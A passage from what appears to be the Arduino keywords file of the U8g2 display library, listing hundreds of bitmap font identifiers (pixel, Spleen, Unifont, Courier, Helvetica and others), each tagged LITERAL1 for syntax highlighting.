2_font_likeminecraft_te\tLITERAL1\nu8g2_font_medsans_tr\tLITERAL1\nu8g2_font_heisans_tr\tLITERAL1\nu8g2_font_originalsans_tr\tLITERAL1\nu8g2_font_minicute_tr\tLITERAL1\nu8g2_font_minicute_te\tLITERAL1\nu8g2_font_scrum_tf\tLITERAL1\nu8g2_font_scrum_tr\tLITERAL1\nu8g2_font_scrum_te\tLITERAL1\nu8g2_font_stylishcharm_tr\tLITERAL1\nu8g2_font_stylishcharm_te\tLITERAL1\nu8g2_font_sisterserif_tr\tLITERAL1\nu8g2_font_princess_tr\tLITERAL1\nu8g2_font_princess_te\tLITERAL1\nu8g2_font_dystopia_tr\tLITERAL1\nu8g2_font_dystopia_te\tLITERAL1\nu8g2_font_lastapprenticethin_tr\tLITERAL1\nu8g2_font_lastapprenticethin_te\tLITERAL1\nu8g2_font_lastapprenticebold_tr\tLITERAL1\nu8g2_font_lastapprenticebold_te\tLITERAL1\nu8g2_font_bpixel_tr\tLITERAL1\nu8g2_font_bpixel_te\tLITERAL1\nu8g2_font_bpixeldouble_tr\tLITERAL1\nu8g2_font_mildras_tr\tLITERAL1\nu8g2_font_mildras_te\tLITERAL1\nu8g2_font_minuteconsole_mr\tLITERAL1\nu8g2_font_minuteconsole_tr\tLITERAL1\nu8g2_font_busdisplay11x5_tr\tLITERAL1\nu8g2_font_busdisplay11x5_te\tLITERAL1\nu8g2_font_busdisplay8x5_tr\tLITERAL1\nu8g2_font_sticker100complete_tr\tLITERAL1\nu8g2_font_sticker100complete_te\tLITERAL1\nu8g2_font_doomalpha04_tr\tLITERAL1\nu8g2_font_doomalpha04_te\tLITERAL1\nu8g2_font_greenbloodserif2_tr\tLITERAL1\nu8g2_font_eckpixel_tr\tLITERAL1\nu8g2_font_elispe_tr\tLITERAL1\nu8g2_font_neuecraft_tr\tLITERAL1\nu8g2_font_neuecraft_te\tLITERAL1\nu8g2_font_8bitclassic_tf\tLITERAL1\nu8g2_font_8bitclassic_tr\tLITERAL1\nu8g2_font_8bitclassic_te\tLITERAL1\nu8g2_font_littlemissloudonbold_tr\tLITERAL1\nu8g2_font_littlemissloudonbold_te\tLITERAL1\nu8g2_font_commodore64_tr\tLITERAL1\nu8g2_font_new3x9pixelfont_tf\tLITERAL1\nu8g2_font_new3x9pixelfont_tr\tLITERAL1\nu8g2_font_new3x9pixelfont_te\tLITERAL1\nu8g2_font_sonicmania_tr\tLITERAL1\nu8g2_font_sonicmania_te\tLITERAL1\nu8g2_font_bytesize_tf\tLITERAL1\nu8g2_font_bytesize_tr\tLITERAL1\nu8g2_font_bytesize_te\tLITERAL1\nu8g2_font_pixzillav1_tf\tLITERAL1\nu8g2_font_pixzillav1_tr\tLITERAL1\nu8g2_font_pixzillav1_te\tLITERAL1\nu8g2_font_ciircle13_tr\tLITERAL1\nu8g2_font_pxclassic_tf\tLITERAL1\nu8g2_font_pxclassic_tr\tLITERAL1\nu8g2_font_pxclassic_te\tLITERAL1\nu8g2_font_moosenooks_tr\tLITERAL1\nu8g2_font_tallpixelextended_tf\tLITERAL1\nu8g2_font_tallpixelextended_tr\tLITERAL1\nu8g2_font_tallpixelextended_te\tLITERAL1\nu8g2_font_BBSesque_tf\tLITERAL1\nu8g2_font_BBSesque_tr\tLITERAL1\nu8g2_font_BBSesque_te\tLITERAL1\nu8g2_font_Born2bSportySlab_tf\tLITERAL1\nu8g2_font_Born2bSportySlab_tr\tLITERAL1\nu8g2_font_Born2bSportySlab_te\tLITERAL1\nu8g2_font_Born2bSportySlab_t_all\tLITERAL1\nu8g2_font_Born2bSportyV2_tf\tLITERAL1\nu8g2_font_Born2bSportyV2_tr\tLITERAL1\nu8g2_font_Born2bSportyV2_te\tLITERAL1\nu8g2_font_CursivePixel_tr\tLITERAL1\nu8g2_font_Engrish_tf\tLITERAL1\nu8g2_font_Engrish_tr\tLITERAL1\nu8g2_font_ImpactBits_tr\tLITERAL1\nu8g2_font_IPAandRUSLCD_tf\tLITERAL1\nu8g2_font_IPAandRUSLCD_tr\tLITERAL1\nu8g2_font_IPAandRUSLCD_te\tLITERAL1\nu8g2_font_PixelTheatre_tr\tLITERAL1\nu8g2_font_PixelTheatre_te\tLITERAL1\nu8g2_font_HelvetiPixel_tr\tLITERAL1\nu8g2_font_TimesNewPixel_tr\tLITERAL1\nu8g2_font_BitTypeWriter_tr\tLITERAL1\nu8g2_font_BitTypeWriter_te\tLITERAL1\nu8g2_font_Georgia7px_tf\tLITERAL1\nu8g2_font_Georgia7px_tr\tLITERAL1\nu8g2_font_Georgia7px_te\tLITERAL1\nu8g2_font_Wizzard_tr\tLITERAL1\nu8g2_font_HelvetiPixelOutline_tr\tLITERAL1\nu8g2_font_HelvetiPixelOutline_te\tLITERAL1\nu8g2_font_Untitled16PixelSansSerifBitmap_tr\tLITERAL1\nu8g2_font_UnnamedDOSFontIV_tr\tLITERAL1\nu8g2_font_Terminal_tr\tLITERAL1\nu8g2_font_Terminal_te\tLITERAL1\nu8g2_font_NokiaLargeBold_tf\tLITERAL1\nu8g2_font_NokiaLargeBold_tr\tLITERAL1\nu8g2_font_NokiaLargeBold_te\tLITERAL1\nu8g2_font_NokiaSmallBold_tf\tLITERAL1\nu8g2_font_NokiaSmallBold_tr\tLITERAL1\nu8g2_font_NokiaSmallBold_te\tLITERAL1\nu8g2_font_NokiaSmallPlain_tf\tLITERAL1\nu8g2_font_NokiaSmallPlain_tr\tLITERAL1\nu8g2_font_NokiaSmallPlain_te\tLITERAL1\nu8g2_font_12x6LED_tf\tLITERAL1\nu8g2_font_12x6LED_tr\tLITERAL1\nu8g2_font_12x6LED_mn\tLITERAL1\nu8g2_font_9x6LED_tf\tLITERAL1\nu8g2_font_9x6LED_tr\tLITERAL1\nu8g2_font_9x6LED_mn\tLITERAL1\nu8g2_font_calblk36_tr\tLITERAL1\nu8g2_font_callite24_tr\tLITERAL1\nu8g2_font_spleen5x8_mf\tLITERAL1\nu8g2_font_spleen5x8_mr\tLITERAL1\nu8g2_font_spleen5x8_mn\tLITERAL1\nu8g2_font_spleen5x8_mu\tLITERAL1\nu8g2_font_spleen5x8_me\tLITERAL1\nu8g2_font_spleen6x12_mf\tLITERAL1\nu8g2_font_spleen6x12_mr\tLITERAL1\nu8g2_font_spleen6x12_mn\tLITERAL1\nu8g2_font_spleen6x12_mu\tLITERAL1\nu8g2_font_spleen6x12_me\tLITERAL1\nu8g2_font_spleen8x16_mf\tLITERAL1\nu8g2_font_spleen8x16_mr\tLITERAL1\nu8g2_font_spleen8x16_mn\tLITERAL1\nu8g2_font_spleen8x16_mu\tLITERAL1\nu8g2_font_spleen8x16_me\tLITERAL1\nu8g2_font_spleen12x24_mf\tLITERAL1\nu8g2_font_spleen12x24_mr\tLITERAL1\nu8g2_font_spleen12x24_mn\tLITERAL1\nu8g2_font_spleen12x24_mu\tLITERAL1\nu8g2_font_spleen12x24_me\tLITERAL1\nu8g2_font_spleen16x32_mf\tLITERAL1\nu8g2_font_spleen16x32_mr\tLITERAL1\nu8g2_font_spleen16x32_mn\tLITERAL1\nu8g2_font_spleen16x32_mu\tLITERAL1\nu8g2_font_spleen16x32_me\tLITERAL1\nu8g2_font_spleen32x64_mf\tLITERAL1\nu8g2_font_spleen32x64_mr\tLITERAL1\nu8g2_font_spleen32x64_mn\tLITERAL1\nu8g2_font_spleen32x64_mu\tLITERAL1\nu8g2_font_spleen32x64_me\tLITERAL1\nu8g2_font_nokiafc22_tf\tLITERAL1\nu8g2_font_nokiafc22_tr\tLITERAL1\nu8g2_font_nokiafc22_tn\tLITERAL1\nu8g2_font_nokiafc22_tu\tLITERAL1\nu8g2_font_VCR_OSD_tf\tLITERAL1\nu8g2_font_VCR_OSD_tr\tLITERAL1\nu8g2_font_VCR_OSD_tn\tLITERAL1\nu8g2_font_VCR_OSD_tu\tLITERAL1\nu8g2_font_VCR_OSD_mf\tLITERAL1\nu8g2_font_VCR_OSD_mr\tLITERAL1\nu8g2_font_VCR_OSD_mn\tLITERAL1\nu8g2_font_VCR_OSD_mu\tLITERAL1\nu8g2_font_Pixellari_tf\tLITERAL1\nu8g2_font_Pixellari_tr\tLITERAL1\nu8g2_font_Pixellari_tn\tLITERAL1\nu8g2_font_Pixellari_tu\tLITERAL1\nu8g2_font_Pixellari_te\tLITERAL1\nu8g2_font_pixelpoiiz_tr\tLITERAL1\nu8g2_font_DigitalDiscoThin_tf\tLITERAL1\nu8g2_font_DigitalDiscoThin_tr\tLITERAL1\nu8g2_font_DigitalDiscoThin_tn\tLITERAL1\nu8g2_font_DigitalDiscoThin_tu\tLITERAL1\nu8g2_font_DigitalDiscoThin_te\tLITERAL1\nu8g2_font_DigitalDisco_tf\tLITERAL1\nu8g2_font_DigitalDisco_tr\tLITERAL1\nu8g2_font_DigitalDisco_tn\tLITERAL1\nu8g2_font_DigitalDisco_tu\tLITERAL1\nu8g2_font_DigitalDisco_te\tLITERAL1\nu8g2_font_pearfont_tr\tLITERAL1\nu8g2_font_etl14thai_t\tLITERAL1\nu8g2_font_etl16thai_t\tLITERAL1\nu8g2_font_etl24thai_t\tLITERAL1\nu8g2_font_crox1cb_tf\tLITERAL1\nu8g2_font_crox1cb_tr\tLITERAL1\nu8g2_font_crox1cb_tn\tLITERAL1\nu8g2_font_crox1cb_mf\tLITERAL1\nu8g2_font_crox1cb_mr\tLITERAL1\nu8g2_font_crox1cb_mn\tLITERAL1\nu8g2_font_crox1c_tf\tLITERAL1\nu8g2_font_crox1c_tr\tLITERAL1\nu8g2_font_crox1c_tn\tLITERAL1\nu8g2_font_crox1c_mf\tLITERAL1\nu8g2_font_crox1c_mr\tLITERAL1\nu8g2_font_crox1c_mn\tLITERAL1\nu8g2_font_crox1hb_tf\tLITERAL1\nu8g2_font_crox1hb_tr\tLITERAL1\nu8g2_font_crox1hb_tn\tLITERAL1\nu8g2_font_crox1h_tf\tLITERAL1\nu8g2_font_crox1h_tr\tLITERAL1\nu8g2_font_crox1h_tn\tLITERAL1\nu8g2_font_crox1tb_tf\tLITERAL1\nu8g2_font_crox1tb_tr\tLITERAL1\nu8g2_font_crox1tb_tn\tLITERAL1\nu8g2_font_crox1t_tf\tLITERAL1\nu8g2_font_crox1t_tr\tLITERAL1\nu8g2_font_crox1t_tn\tLITERAL1\nu8g2_font_crox2cb_tf\tLITERAL1\nu8g2_font_crox2cb_tr\tLITERAL1\nu8g2_font_crox2cb_tn\tLITERAL1\nu8g2_font_crox2cb_mf\tLITERAL1\nu8g2_font_crox2cb_mr\tLITERAL1\nu8g2_font_crox2cb_mn\tLITERAL1\nu8g2_font_crox2c_tf\tLITERAL1\nu8g2_font_crox2c_tr\tLITERAL1\nu8g2_font_crox2c_tn\tLITERAL1\nu8g2_font_crox2c_mf\tLITERAL1\nu8g2_font_crox2c_mr\tLITERAL1\nu8g2_font_crox2c_mn\tLITERAL1\nu8g2_font_crox2hb_tf\tLITERAL1\nu8g2_font_crox2hb_tr\tLITERAL1\nu8g2_font_crox2hb_tn\tLITERAL1\nu8g2_font_crox2h_tf\tLITERAL1\nu8g2_font_crox2h_tr\tLITERAL1\nu8g2_font_crox2h_tn\tLITERAL1\nu8g2_font_crox2tb_tf\tLITERAL1\nu8g2_font_crox2tb_tr\tLITERAL1\nu8g2_font_crox2tb_tn\tLITERAL1\nu8g2_font_crox2t_tf\tLITERAL1\nu8g2_font_crox2t_tr\tLITERAL1\nu8g2_font_crox2t_tn\tLITERAL1\nu8g2_font_crox3cb_tf\tLITERAL1\nu8g2_font_crox3cb_tr\tLITERAL1\nu8g2_font_crox3cb_tn\tLITERAL1\nu8g2_font_crox3cb_mf\tLITERAL1\nu8g2_font_crox3cb_mr\tLITERAL1\nu8g2_font_crox3cb_mn\tLITERAL1\nu8g2_font_crox3c_tf\tLITERAL1\nu8g2_font_crox3c_tr\tLITERAL1\nu8g2_font_crox3c_tn\tLITERAL1\nu8g2_font_crox3c_mf\tLITERAL1\nu8g2_font_crox3c_mr\tLITERAL1\nu8g2_font_crox3c_mn\tLITERAL1\nu8g2_font_crox3hb_tf\tLITERAL1\nu8g2_font_crox3hb_tr\tLITERAL1\nu8g2_font_crox3hb_tn\tLITERAL1\nu8g2_font_crox3h_tf\tLITERAL1\nu8g2_font_crox3h_tr\tLITERAL1\nu8g2_font_crox3h_tn\tLITERAL1\nu8g2_font_crox3tb_tf\tLITERAL1\nu8g2_font_crox3tb_tr\tLITERAL1\nu8g2_font_crox3tb_tn\tLITERAL1\nu8g2_font_crox3t_tf\tLITERAL1\nu8g2_font_crox3t_tr\tLITERAL1\nu8g2_font_crox3t_tn\tLITERAL1\nu8g2_font_crox4hb_tf\tLITERAL1\nu8g2_font_crox4hb_tr\tLITERAL1\nu8g2_font_crox4hb_tn\tLITERAL1\nu8g2_font_crox4h_tf\tLITERAL1\nu8g2_font_crox4h_tr\tLITERAL1\nu8g2_font_crox4h_tn\tLITERAL1\nu8g2_font_crox4tb_tf\tLITERAL1\nu8g2_font_crox4tb_tr\tLITERAL1\nu8g2_font_crox4tb_tn\tLITERAL1\nu8g2_font_crox4t_tf\tLITERAL1\nu8g2_font_crox4t_tr\tLITERAL1\nu8g2_font_crox4t_tn\tLITERAL1\nu8g2_font_crox5hb_tf\tLITERAL1\nu8g2_font_crox5hb_tr\tLITERAL1\nu8g2_font_crox5hb_tn\tLITERAL1\nu8g2_font_crox5h_tf\tLITERAL1\nu8g2_font_crox5h_tr\tLITERAL1\nu8g2_font_crox5h_tn\tLITERAL1\nu8g2_font_crox5tb_tf\tLITERAL1\nu8g2_font_crox5tb_tr\tLITERAL1\nu8g2_font_crox5tb_tn\tLITERAL1\nu8g2_font_crox5t_tf\tLITERAL1\nu8g2_font_crox5t_tr\tLITERAL1\nu8g2_font_crox5t_tn\tLITERAL1\nu8g2_font_cu12_tf\tLITERAL1\nu8g2_font_cu12_tr\tLITERAL1\nu8g2_font_cu12_tn\tLITERAL1\nu8g2_font_cu12_te\tLITERAL1\nu8g2_font_cu12_hf\tLITERAL1\nu8g2_font_cu12_hr\tLITERAL1\nu8g2_font_cu12_hn\tLITERAL1\nu8g2_font_cu12_he\tLITERAL1\nu8g2_font_cu12_mf\tLITERAL1\nu8g2_font_cu12_mr\tLITERAL1\nu8g2_font_cu12_mn\tLITERAL1\nu8g2_font_cu12_me\tLITERAL1\nu8g2_font_cu12_t_symbols\tLITERAL1\nu8g2_font_cu12_h_symbols\tLITERAL1\nu8g2_font_cu12_t_greek\tLITERAL1\nu8g2_font_cu12_t_cyrillic\tLITERAL1\nu8g2_font_cu12_t_tibetan\tLITERAL1\nu8g2_font_cu12_t_hebrew\tLITERAL1\nu8g2_font_cu12_t_arabic\tLITERAL1\nu8g2_font_unifont_tf\tLITERAL1\nu8g2_font_unifont_tr\tLITERAL1\nu8g2_font_unifont_te\tLITERAL1\nu8g2_font_unifont_t_latin\tLITERAL1\nu8g2_font_unifont_t_extended\tLITERAL1\nu8g2_font_unifont_t_72_73\tLITERAL1\nu8g2_font_unifont_t_0_72_73\tLITERAL1\nu8g2_font_unifont_t_75\tLITERAL1\nu8g2_font_unifont_t_0_75\tLITERAL1\nu8g2_font_unifont_t_76\tLITERAL1\nu8g2_font_unifont_t_0_76\tLITERAL1\nu8g2_font_unifont_t_77\tLITERAL1\nu8g2_font_unifont_t_0_77\tLITERAL1\nu8g2_font_unifont_t_78_79\tLITERAL1\nu8g2_font_unifont_t_0_78_79\tLITERAL1\nu8g2_font_unifont_t_86\tLITERAL1\nu8g2_font_unifont_t_0_86\tLITERAL1\nu8g2_font_unifont_t_greek\tLITERAL1\nu8g2_font_unifont_t_cyrillic\tLITERAL1\nu8g2_font_unifont_t_hebrew\tLITERAL1\nu8g2_font_unifont_t_bengali\tLITERAL1\nu8g2_font_unifont_t_tibetan\tLITERAL1\nu8g2_font_unifont_t_urdu\tLITERAL1\nu8g2_font_unifont_t_polish\tLITERAL1\nu8g2_font_unifont_t_devanagari\tLITERAL1\nu8g2_font_unifont_t_arabic\tLITERAL1\nu8g2_font_unifont_t_symbols\tLITERAL1\nu8g2_font_unifont_h_symbols\tLITERAL1\nu8g2_font_unifont_t_emoticons\tLITERAL1\nu8g2_font_unifont_t_animals\tLITERAL1\nu8g2_font_unifont_t_domino\tLITERAL1\nu8g2_font_unifont_t_cards\tLITERAL1\nu8g2_font_unifont_t_weather\tLITERAL1\nu8g2_font_unifont_t_chinese1\tLITERAL1\nu8g2_font_unifont_t_chinese2\tLITERAL1\nu8g2_font_unifont_t_chinese3\tLITERAL1\nu8g2_font_unifont_t_japanese1\tLITERAL1\nu8g2_font_unifont_t_japanese2\tLITERAL1\nu8g2_font_unifont_t_japanese3\tLITERAL1\nu8g2_font_unifont_t_korean1\tLITERAL1\nu8g2_font_unifont_t_korean2\tLITERAL1\nu8g2_font_unifont_t_vietnamese1\tLITERAL1\nu8g2_font_unifont_t_vietnamese2\tLITERAL1\nu8g2_font_gb16st_t_1\tLITERAL1\nu8g2_font_gb16st_t_2\tLITERAL1\nu8g2_font_gb16st_t_3\tLITERAL1\nu8g2_font_gb24st_t_1\tLITERAL1\nu8g2_font_gb24st_t_2\tLITERAL1\nu8g2_font_gb24st_t_3\tLITERAL1\nu8g2_font_wqy12_t_chinese1\tLITERAL1\nu8g2_font_wqy12_t_chinese2\tLITERAL1\nu8g2_font_wqy12_t_chinese3\tLITERAL1\nu8g2_font_wqy12_t_gb2312\tLITERAL1\nu8g2_font_wqy12_t_gb2312a\tLITERAL1\nu8g2_font_wqy12_t_gb2312b\tLITERAL1\nu8g2_font_wqy13_t_chinese1\tLITERAL1\nu8g2_font_wqy13_t_chinese2\tLITERAL1\nu8g2_font_wqy13_t_chinese3\tLITERAL1\nu8g2_font_wqy13_t_gb2312\tLITERAL1\nu8g2_font_wqy13_t_gb2312a\tLITERAL1\nu8g2_font_wqy13_t_gb2312b\tLITERAL1\nu8g2_font_wqy14_t_chinese1\tLITERAL1\nu8g2_font_wqy14_t_chinese2\tLITERAL1\nu8g2_font_wqy14_t_chinese3\tLITERAL1\nu8g2_font_wqy14_t_gb2312\tLITERAL1\nu8g2_font_wqy14_t_gb2312a\tLITERAL1\nu8g2_font_wqy14_t_gb2312b\tLITERAL1\nu8g2_font_wqy15_t_chinese1\tLITERAL1\nu8g2_font_wqy15_t_chinese2\tLITERAL1\nu8g2_font_wqy15_t_chinese3\tLITERAL1\nu8g2_font_wqy15_t_gb2312\tLITERAL1\nu8g2_font_wqy15_t_gb2312a\tLITERAL1\nu8g2_font_wqy15_t_gb2312b\tLITERAL1\nu8g2_font_wqy16_t_chinese1\tLITERAL1\nu8g2_font_wqy16_t_chinese2\tLITERAL1\nu8g2_font_wqy16_t_chinese3\tLITERAL1\nu8g2_font_wqy16_t_gb2312\tLITERAL1\nu8g2_font_wqy16_t_gb2312a\tLITERAL1\nu8g2_font_wqy16_t_gb2312b\tLITERAL1\nu8g2_font_b10_t_japanese1\tLITERAL1\nu8g2_font_b10_t_japanese2\tLITERAL1\nu8g2_font_b10_b_t_japanese1\tLITERAL1\nu8g2_font_b10_b_t_japanese2\tLITERAL1\nu8g2_font_f10_t_japanese1\tLITERAL1\nu8g2_font_f10_t_japanese2\tLITERAL1\nu8g2_font_f10_b_t_japanese1\tLITERAL1\nu8g2_font_f10_b_t_japanese2\tLITERAL1\nu8g2_font_b12_t_japanese1\tLITERAL1\nu8g2_font_b12_t_japanese2\tLITERAL1\nu8g2_font_b12_t_japanese3\tLITERAL1\nu8g2_font_b12_b_t_japanese1\tLITERAL1\nu8g2_font_b12_b_t_japanese2\tLITERAL1\nu8g2_font_b12_b_t_japanese3\tLITERAL1\nu8g2_font_f12_t_japanese1\tLITERAL1\nu8g2_font_f12_t_japanese2\tLITERAL1\nu8g2_font_f12_b_t_japanese1\tLITERAL1\nu8g2_font_f12_b_t_japanese2\tLITERAL1\nu8g2_font_b16_t_japanese1\tLITERAL1\nu8g2_font_b16_t_japanese2\tLITERAL1\nu8g2_font_b16_t_japanese3\tLITERAL1\nu8g2_font_b16_b_t_japanese1\tLITERAL1\nu8g2_font_b16_b_t_japanese2\tLITERAL1\nu8g2_font_b16_b_t_japanese3\tLITERAL1\nu8g2_font_f16_t_japanese1\tLITERAL1\nu8g2_font_f16_t_japanese2\tLITERAL1\nu8g2_font_f16_b_t_japanese1\tLITERAL1\nu8g2_font_f16_b_t_japanese2\tLITERAL1\nu8g2_font_artossans8_8r\tLITERAL1\nu8g2_font_artossans8_8n\tLITERAL1\nu8g2_font_artossans8_8u\tLITERAL1\nu8x8_font_artossans8_r\tLITERAL1\nu8x8_font_artossans8_n\tLITERAL1\nu8x8_font_artossans8_u\tLITERAL1\nu8g2_font_artosserif8_8r\tLITERAL1\nu8g2_font_artosserif8_8n\tLITERAL1\nu8g2_font_artosserif8_8u\tLITERAL1\nu8x8_font_artosserif8_r\tLITERAL1\nu8x8_font_artosserif8_n\tLITERAL1\nu8x8_font_artosserif8_u\tLITERAL1\nu8g2_font_chroma48medium8_8r\tLITERAL1\nu8g2_font_chroma48medium8_8n\tLITERAL1\nu8g2_font_chroma48medium8_8u\tLITERAL1\nu8x8_font_chroma48medium8_r\tLITERAL1\nu8x8_font_chroma48medium8_n\tLITERAL1\nu8x8_font_chroma48medium8_u\tLITERAL1\nu8g2_font_saikyosansbold8_8n\tLITERAL1\nu8g2_font_saikyosansbold8_8u\tLITERAL1\nu8x8_font_saikyosansbold8_n\tLITERAL1\nu8x8_font_saikyosansbold8_u\tLITERAL1\nu8g2_font_torussansbold8_8r\tLITERAL1\nu8g2_font_torussansbold8_8n\tLITERAL1\nu8g2_font_torussansbold8_8u\tLITERAL1\nu8x8_font_torussansbold8_r\tLITERAL1\nu8x8_font_torussansbold8_n\tLITERAL1\nu8x8_font_torussansbold8_u\tLITERAL1\nu8g2_font_victoriabold8_8r\tLITERAL1\nu8g2_font_victoriabold8_8n\tLITERAL1\nu8g2_font_victoriabold8_8u\tLITERAL1\nu8x8_font_victoriabold8_r\tLITERAL1\nu8x8_font_victoriabold8_n\tLITERAL1\nu8x8_font_victoriabold8_u\tLITERAL1\nu8g2_font_victoriamedium8_8r\tLITERAL1\nu8g2_font_victoriamedium8_8n\tLITERAL1\nu8g2_font_victoriamedium8_8u\tLITERAL1\nu8x8_font_victoriamedium8_r\tLITERAL1\nu8x8_font_victoriamedium8_n\tLITERAL1\nu8x8_font_victoriamedium8_u\tLITERAL1\nu8g2_font_courB08_tf\tLITERAL1\nu8g2_font_courB08_tr\tLITERAL1\nu8g2_font_courB08_tn\tLITERAL1\nu8g2_font_courB10_tf\tLITERAL1\nu8g2_font_courB10_tr\tLITERAL1\nu8g2_font_courB10_tn\tLITERAL1\nu8g2_font_courB12_tf\tLITERAL1\nu8g2_font_courB12_tr\tLITERAL1\nu8g2_font_courB12_tn\tLITERAL1\nu8g2_font_courB14_tf\tLITERAL1\nu8g2_font_courB14_tr\tLITERAL1\nu8g2_font_courB14_tn\tLITERAL1\nu8g2_font_courB18_tf\tLITERAL1\nu8g2_font_courB18_tr\tLITERAL1\nu8g2_font_courB18_tn\tLITERAL1\nu8g2_font_courB24_tf\tLITERAL1\nu8g2_font_courB24_tr\tLITERAL1\nu8g2_font_courB24_tn\tLITERAL1\nu8g2_font_courR08_tf\tLITERAL1\nu8g2_font_courR08_tr\tLITERAL1\nu8g2_font_courR08_tn\tLITERAL1\nu8g2_font_courR10_tf\tLITERAL1\nu8g2_font_courR10_tr\tLITERAL1\nu8g2_font_courR10_tn\tLITERAL1\nu8g2_font_courR12_tf\tLITERAL1\nu8g2_font_courR12_tr\tLITERAL1\nu8g2_font_courR12_tn\tLITERAL1\nu8g2_font_courR14_tf\tLITERAL1\nu8g2_font_courR14_tr\tLITERAL1\nu8g2_font_courR14_tn\tLITERAL1\nu8g2_font_courR18_tf\tLITERAL1\nu8g2_font_courR18_tr\tLITERAL1\nu8g2_font_courR18_tn\tLITERAL1\nu8g2_font_courR24_tf\tLITERAL1\nu8g2_font_courR24_tr\tLITERAL1\nu8g2_font_courR24_tn\tLITERAL1\nu8x8_font_courB18_2x3_f\tLITERAL1\nu8x8_font_courB18_2x3_r\tLITERAL1\nu8x8_font_courB18_2x3_n\tLITERAL1\nu8x8_font_courR18_2x3_f\tLITERAL1\nu8x8_font_courR18_2x3_r\tLITERAL1\nu8x8_font_courR18_2x3_n\tLITERAL1\nu8x8_font_courB24_3x4_f\tLITERAL1\nu8x8_font_courB24_3x4_r\tLITERAL1\nu8x8_font_courB24_3x4_n\tLITERAL1\nu8x8_font_courR24_3x4_f\tLITERAL1\nu8x8_font_courR24_3x4_r\tLITERAL1\nu8x8_font_courR24_3x4_n\tLITERAL1\nu8g2_font_helvB08_tf\tLITERAL1\nu8g2_font_helvB08_tr\tLITERAL1\nu8g2_font_helvB08_tn\tLITERAL1\nu8g2_font_helvB08_te\tLITERAL1\nu8g2_font_helvB10_tf\tLITERAL1\nu8g2_font_helvB10_tr\tLITERAL1\nu8g2_font_helvB10_tn\tLITERAL1\nu8g2_font_helvB10_te\tLITERAL1\nu8g2_font_helvB12_tf\tLITERAL1\nu8g2_font_helvB12_tr\tLITERAL1\nu8g2_font_helvB12_tn\tLITERAL1\nu8g2_font_helvB12_te\tLITERAL1\nu8g2_font_helvB14_tf\tLITERAL1\nu8g2_font_helvB14_tr\tLITERAL1\nu8g2_font_helvB14_tn\tLITERAL1\nu8g2_font_helvB14_te\tLITERAL1\nu8g2_font_helvB18_tf\tLITERAL1\nu8g2_font_helvB18_tr\tLITERAL1\nu8g2_font_helvB18_tn\tLITERAL1\nu8g2_font_helvB18_te\tLITERAL1\nu8g2_font_helvB24_tf\tLITERAL1\nu8g2_font_helvB24_tr\tLITERAL1\nu8g2_font_helvB24_tn\tLITERAL1\nu8g2_font_helvB24_te\tLITERAL1\nu8g2_font_helvR08_tf\tLITERAL1\nu8g2_font_helvR08_tr\tLITERAL1\nu8g2_font_helvR08_tn\tLITERAL1\nu8g2_font_helvR08_te\tLITERAL1\nu8g2_font_helvR10_tf\tLITERAL1\nu8g2_font_helvR10_tr\tLITERAL1\nu8g2_font_helvR10_tn\tLITERAL1\nu8g2_font_helvR10_te\tLITERAL1\nu8g2_font_helvR12_tf\tLITERAL1\nu8g2_font_helvR12_tr\tLITERAL1\nu8g2_font_helvR12_tn\tLITERAL1\nu8g2_font_helvR12_te\tLITERAL1\nu8g2_font_helvR14_tf\tLITERAL1\nu8g2_font_helvR14_tr\tLITERAL1\nu8g2_font_helvR14_tn\tLITERAL1\nu8g2_font_helvR14_te\tLITERAL1\nu8g2_font_helvR18_tf\tLITERAL1\nu8g2_font_helvR18_tr\tLITERAL1\nu8g2_font_helvR18_tn\tLITERAL1\nu8g2_font_helvR18_te\tLITERAL1\nu8g2_font_helvR24_tf\tLITERAL1\nu8g2_font_helvR24_tr\tLITERAL1\nu8g2_font_helvR24_tn\tLITERAL1\nu8g2_font_helvR24_te\tLITERAL1\nu8g2_font_ncenB08_tf\tLITERAL1\nu8g2_font_ncenB08_tr\tLITERAL1\nu8g2_font_ncenB08_tn\tLITERAL1\nu8g2_font_ncenB08_te\tLITERAL1\nu8g2_font_ncenB10_tf\tLITERAL1\nu8g2_font_ncenB10_tr\tLITERAL1\nu8g2_font_ncenB10_tn\tLITERAL1\nu8g2_font_ncenB10_te\tLITERAL1\nu8g2_font_ncenB12_tf\tLITERAL1\nu8g2_font_ncenB12_tr\tLITERAL1\nu8g2_font_ncenB12_tn\tLITERAL1\nu8g2_font_ncenB12_te\tLITERAL1\nu8g2_font_ncenB14_tf\tLITERAL1\nu8g2_font_ncenB14_tr\tLITERAL1\nu8g2_font_ncenB14_tn\tLITERAL1\nu8g2_font_ncenB14_te\tLITERAL1\nu8g2_font_ncenB18_tf\tLITERAL1\nu8g2_font_ncenB18_tr\tLITERAL1\nu8g2_font_ncenB18_tn\tLITERAL1\nu8g2_font_ncenB18_te\tLITERAL1\nu8g2_font_ncenB24_tf\tLITERAL1\nu8g2_font_ncenB24_tr\tLITERAL1\nu8g2_font_ncenB24_tn\tLITERAL1\nu8g2_font_ncenB24_te\tLITERAL1\nu8g2_font_ncenR08_tf\tLITERAL1\nu8g2_font_ncenR08_tr\tLITERAL1\nu8g2_font_ncenR08_tn\tLITERAL1\nu8g2_font_ncenR08_te\tLITERAL1\nu8g2_font_ncenR10_tf\tLITERAL1\nu8g2_font_ncenR10_tr\tLITERAL1\nu8g2_font_ncenR10_tn\tLITERAL1\nu8g2_font_ncenR10_te\tLITERAL1\nu8g2_font_ncenR12_tf\tLITERAL1\nu8g2_font_ncenR12_tr\tLITERAL1\nu8g2_font_ncenR12_tn\tLITERAL1\nu8g2_font_ncenR12_te\tLITERAL1\nu8g2_font_ncenR14_tf\tLITERAL1\nu8g2_font_ncenR14_tr\tLITERAL1\nu8g2_font_ncenR14_tn\tLITERAL1\nu8g2_font_ncenR14_te\tLITERAL1\nu8g2_font_ncenR18_tf\tLITERAL1\nu8g2_font_ncenR18_tr\tLITERAL1\nu8g2_font_ncenR18_tn\tLITERAL1\nu8g2_font_ncenR18_te\tLITERAL1\nu8g2_font_ncenR24_tf\tLITERAL1\nu8g2_font_ncenR24_tr\tLITERAL1\nu8g2_font_ncenR24_tn\tLITERAL1\nu8g2_font_ncenR24_te\tLITERAL1\nu8g2_font_timB08_tf\tLITERAL1\nu8g2_font_timB08_tr\tLITERAL1\nu8g2_font_timB08_tn\tLITERAL1\nu8g2_font_timB10_tf\tLITERAL1\nu8g2_font_timB10_tr\tLITERAL1\nu8g2_font_timB10_tn\tLITERAL1\nu8g2_font_timB12_tf\tLITERAL1\nu8g2_font_timB12_tr\tLITERAL1\nu8g2_font_timB12_tn\tLITERAL1\nu8g2_font_timB14_tf\tLITERAL1\nu8